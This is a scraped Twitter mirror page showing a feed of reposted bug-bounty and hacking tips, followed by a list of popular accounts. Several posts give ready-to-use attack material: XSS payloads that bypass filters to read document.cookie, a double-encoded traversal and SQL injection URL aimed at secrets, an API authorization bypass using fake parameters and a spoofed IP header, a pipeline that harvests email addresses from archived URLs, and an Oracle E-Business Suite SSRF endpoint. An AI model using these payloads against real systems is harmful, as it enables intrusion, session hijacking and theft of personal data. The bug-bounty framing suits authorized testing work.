![h4x0r_fr34k's tweet photo. Post 2/30: Email Leaks from waybackurls
cat waybackurls \
| grep -Eoi '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}' \
| tr '[:upper:]' '[:lower:]' \
| grep -vE '\.(png|jpg|jpeg|svg|gif)$' \
| grep -vE '^(donot.?reply|no-?reply|noreply|no_reply|webmaster|postmaster|admin|support|abuse|bounce|mailer-daemon|contact|help)@' \
| grep -vE '^[0-9]+@' \
| sort -u](https://pbs.twimg.com/media/G3q5h9gWIAA8vkq.jpg)
Olivia
Online
AlbertusFreddi
@AlbertusFreddi
hello i'm back !!!
DKI Jakarta
Joined January 2010
47 Following
129 Followers
748 Posts
tanviet12/vbsec: A Claude Code skill that performs in-depth security scans and detects 20+ of the most common security vulnerabilities in your source code. https://t.co/7ugFEVljap
🔥api restriction bypass using fake parameter☠️
/api/public => unauthorized
/api/public/latest?anything=/api/public => 200ok
you can FUZZ like:
?admin=true,
?bypass=1,
debug=true,
OR add header “X-Custom-IP-Authorization: 127.0.0.1”
Join my telegram https://t.co/J6uPf8H57o
ALL FREE CERTIFICATION RESOURCES
AWS
https://t.co/ghV3Hn7f1N
CISSP
https://t.co/WpZf2Mklqt
CISA
https://t.co/AfD4Xluh0N
CISM
https://t.co/v8ABSmjr01
CRISC
https://t.co/CNQFNxqIeO
Digital Marketing
https://t.co/CNQFNxqIeO
Retweet and specially follow me @raunak_yadush to help others
🐞 Top 50 Bug Bounty Tools
https://t.co/CP5pOqy4o9
Subfinder — https://t.co/8TBP5Bt5qv
Amass — https://t.co/tsLPX9ICLw
Assetfinder — https://t.co/17F6wR2kKJ
httpx — https://t.co/r5XKC0ULRm
Nuclei — https://t.co/8x1snl95qa
ffuf — https://t.co/6WxILflqz6
dirsearch — https://t.co/oGj5FTUwPI
Gobuster — https://t.co/CwnbcB3AIx
wfuzz — https://t.co/yKPtKHvSdo
hakrawler — https://t.co/vPdYILAyIR
gau (GetAllURLs) — https://t.co/urqYyoLffu
waybackurls — https://t.co/rzLPakjWps
ParamSpider — https://t.co/dPiZe9wwsu
#BugBounty #CyberSecurity #EthicalHacking #Pentesting #Infosec #BugHunter #Recon #SecurityTools #HackingTools #WebSecurity
Fast web crawler for OSINT and recon.✨
- https://t.co/ERLQ8QYo51
🔐 ChatGPT for Cybersecurity Cookbook Condensed Description
Your AI-powered guide for modern security threat hunting and automated offensive/defensive workflows.
📄 Comment “PDF” if you want the full guide.
CloudRip Fast Cloudflare bypass scanner
Find real server IPs behind Cloudflare by scanning subdomains. Multi-threaded for speed, skips Cloudflare-owned IPs, supports custom or built-in wordlists, and exports results. Built-in rate limiting to avoid getting blocked
REPO ⤵️
Bypass WAF
.
.
"><?/script>"><--<img+src= "><svg/onload?=alert(document.cookie)>> --!>
.
"-->""/>0xr3dhunt</script><deTailS open x=">" ontoggle=(co\u006efirm)``>"
.
"-->""/>0xr3dhunt</script><deTailS open x=">" ontoggle=(co\u006efirm(document.cookie))``>"
#infosec #bugbountytips
⚠️ EY Data Leak - Massive 4TB SQL Server Backup Exposed Publicly on Microsoft Azure
Read more: https://t.co/2U5pBNA6oN
A massive 4TB SQL Server backup file belonging to global accounting giant Ernst & Young (EY) was discovered publicly accessible on Microsoft Azure.
The file's naming convention screamed SQL Server backup (.BAK format), which typically contains full database dumps, including schemas, user data, and, crucially, embedded secrets such as API keys, credentials, and authentication tokens.
A simple HEAD request designed by researchers to retrieve metadata without downloading content revealed a massive size: 4 terabytes of data, which is equivalent to millions of documents or the contents of an entire library.
To Get Daily Security Updates, add Cyber Security News ® as your preferred source on Google -> https://t.co/N1wthFiEi3
#cybersecuritynews
Oracle E-Business Suite (12.2.3-12.2.14) SSRF POC
Method: POST
Path: /OA_HTML/configurator/UiServlet
Parameter: return_url
get the full POC in my telegram channel: https://t.co/wmfLQVRSaQ
GeoIntel using Google's Gemini API to uncover the location where photos were taken through AI-powered geo-location analysis.
- https://t.co/MzX8AQKJPl
#OSINT #infosec #CyberSecurity
Post 2/30: Email Leaks from waybackurls
cat waybackurls \
| grep -Eoi '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}' \
| tr '[:upper:]' '[:lower:]' \
| grep -vE '\.(png|jpg|jpeg|svg|gif)$' \
| grep -vE '^(donot.?reply|no-?reply|noreply|no_reply|webmaster|postmaster|admin|support|abuse|bounce|mailer-daemon|contact|help)@' \
| grep -vE '^[0-9]+@' \
| sort -u
![h4x0r_fr34k's tweet photo. Post 2/30: Email Leaks from waybackurls
cat waybackurls \
| grep -Eoi '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}' \
| tr '[:upper:]' '[:lower:]' \
| grep -vE '\.(png|jpg|jpeg|svg|gif)$' \
| grep -vE '^(donot.?reply|no-?reply|noreply|no_reply|webmaster|postmaster|admin|support|abuse|bounce|mailer-daemon|contact|help)@' \
| grep -vE '^[0-9]+@' \
| sort -u](https://pbs.twimg.com/media/G3q5h9iWcAA7NcA.jpg)
AutoRecon is a multi-threaded network reconnaissance tool which performs automated enumeration of services. By: @0xTib3rius
https://t.co/5P8v6ArY8y
🔍 Bug Bounty Tip: WAF Bypass
Evade WAF’s URL normalization with double encoding (%252f) or unusual paths.
Example: /api/v1/%2e%2e/%2e%2e/config?id=1%252bUNION%252bSELECT%252bsecrets--
Test only on authorized systems! 🛡️ #Cybersecurity #BugBounty
Last Seen Users on Sotwe
Most Popular Users
Elon Musk 
@elonmusk
240.9M followers
Barack Obama
@barackobama
119.2M followers
Donald J. Trump
@realdonaldtrump
111.8M followers
Cristiano Ronaldo
@cristiano
111.6M followers
Narendra Modi
@narendramodi
107.1M followers
Rihanna
@rihanna
97.9M followers
NASA
@nasa
92.2M followers
Justin Bieber
@justinbieber
91.1M followers
KATY PERRY
@katyperry
88.2M followers
Taylor Swift
@taylorswift13
82.1M followers
Lady Gaga
@ladygaga
73.6M followers
Virat Kohli
@imvkohli
70.8M followers
Kim Kardashian
@kimkardashian
70.1M followers
YouTube
@youtube
68.7M followers
Bill Gates
@billgates
64.2M followers
Neymar Jr
@neymarjr
63.6M followers
The Ellen Show
@theellenshow
62.4M followers
CNN
@cnn
61.8M followers
Selena Gomez
@selenagomez
61.3M followers
X
@x
60.8M followers